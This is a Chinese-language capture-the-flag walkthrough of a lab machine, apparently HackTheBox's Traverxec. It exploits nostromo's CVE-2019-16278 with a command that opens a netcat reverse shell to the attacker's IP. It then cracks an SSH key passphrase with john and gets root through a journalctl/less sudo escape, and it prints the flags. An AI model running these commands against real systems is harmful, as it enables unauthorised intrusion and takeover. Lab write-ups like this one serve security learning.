目标ip:10.10.10.165
一.端口扫描
1.使用nmap对目标进行端口扫描
nmap -sC 10.10.10.165
(发现目标开启了ssh服务和web服务)
web服务打开如下:
二.web目录扫描
使用 skipfish对目标的目录进行扫描
skipfish -o text http://10.10.10.165/
(ps:进过一番查找,并没有在web页面发现什么有用的信息~)
三.web指纹识别
Whatweb是一个基于Ruby语言的开源网站指纹识别软件,正如它的名字一样,whatweb能够识别各种关于网站的详细信息包括:CMS类型、博客平台、中间件、web框架模块、网站服务器、脚本类型、JavaScript库、IP、cookie等。
whatweb http://10.10.10.165/
通过扫描可以得知该站点运行在[nostromo 1.9.6]上的.
四.反弹shell
通过百度了解到nostromo 1.9.6存在远程命令执行漏洞.
漏洞编号为:CVE-2019-16278
exp地址:https://github.com/jas502n/CVE-2019-16278
bash CVE-2019-16278.sh 10.10.10.165 80 nc -c bash 10.10.14.94 444
远程执行命令,使用nc反弹shell到本机的444端口.
成功反弹shell,权限是www
由于反弹的终端不好操作,所以用python把bash终端反弹出来,命令如下:
python -c 'import pty;pty.spawn("/bin/bash")'
五.获取david权限
1.通过cat /etc/passwd 发现该服务器上还存在这一个david用户,通过web界面我们可以知道david应该就是服务器的管理员了.
2.但是我们进入david目录,发现没有权限查看~
3.然后由于站点运行在[nostromo]上的,所以我们可以查看一下它的配置文件
cat /var/nostromo/conf/nhttpd.conf
4.然后发现david目录下还有个public_www目录,应该就是存放web文件的目录了.,我们可以试试cd进去看看.
(成功进入~)
5.发现protected-file-area目录下有个备份文件backup-ssh-identity-files.tgz,(看名字应该是ssh密钥的备份文件~),但是直接解压不了,会提示如下.
6.所以我们试着将他复制出来,然后再解压.
cp backup-ssh-identity-files.tgz /tmp
7.解压文件
tar -zxvf backup-ssh-identity-files.tgz
(果然把david用户的ssh密钥解压出来了~注意:是解压到当前目录的)
8.发现用户私钥.如下图
9.使用ssh2john.py将密钥信息转换为john可识别信息,对私钥进行破解
python /usr/share/john/ssh2john.py david_rsa > rsacrack
john rsacrack
10.破解成功了,加密的私钥密码为:hunter 然后使用密钥去连接目标主机
11.查看user.txt 成功拿到flag
7db0b48469606a42cec20750d9782f3d
六.获取root权限
1.尝试内核提权
1.查看linux内核版本尝试内核提权
版本号为:Linux traverxec 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u1 (2019-09-20) x86_64 GNU/Linux
尝试使用cve-2019-13272进行内核提权.地址:https://github.com/NHPT/CVE-Exploit-Script/tree/master/CVE-2019-13272
2.在kali上利用python3开启一个简单的web服务
python3 -m http.server 8899
3.在目标主机上通过wget下载提权脚本
4.提权失败~~
2.SUID提权
1.通过查看该用户目录下,发现有个bin文件夹,里面有个可执行的脚本,内容如下:
2.发现最后一行用sudo(root权限)执行了一个journalctl命令。
关于该命令的说明:journalctl 用来查询 systemd-journald 服务收集到的日志。systemd-journald 服务是 systemd init 系统提供的收集系统日志的服务。
然后执行以下命令。
/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service | /usr/bin/less
3.然后输入!sh进入命令模式
(成功获取root权限!)
4.获取root.txt拿到flag
find / -name root.txt
root.txt内容:
9aa36a6d76f785dfd320a478f6e0d906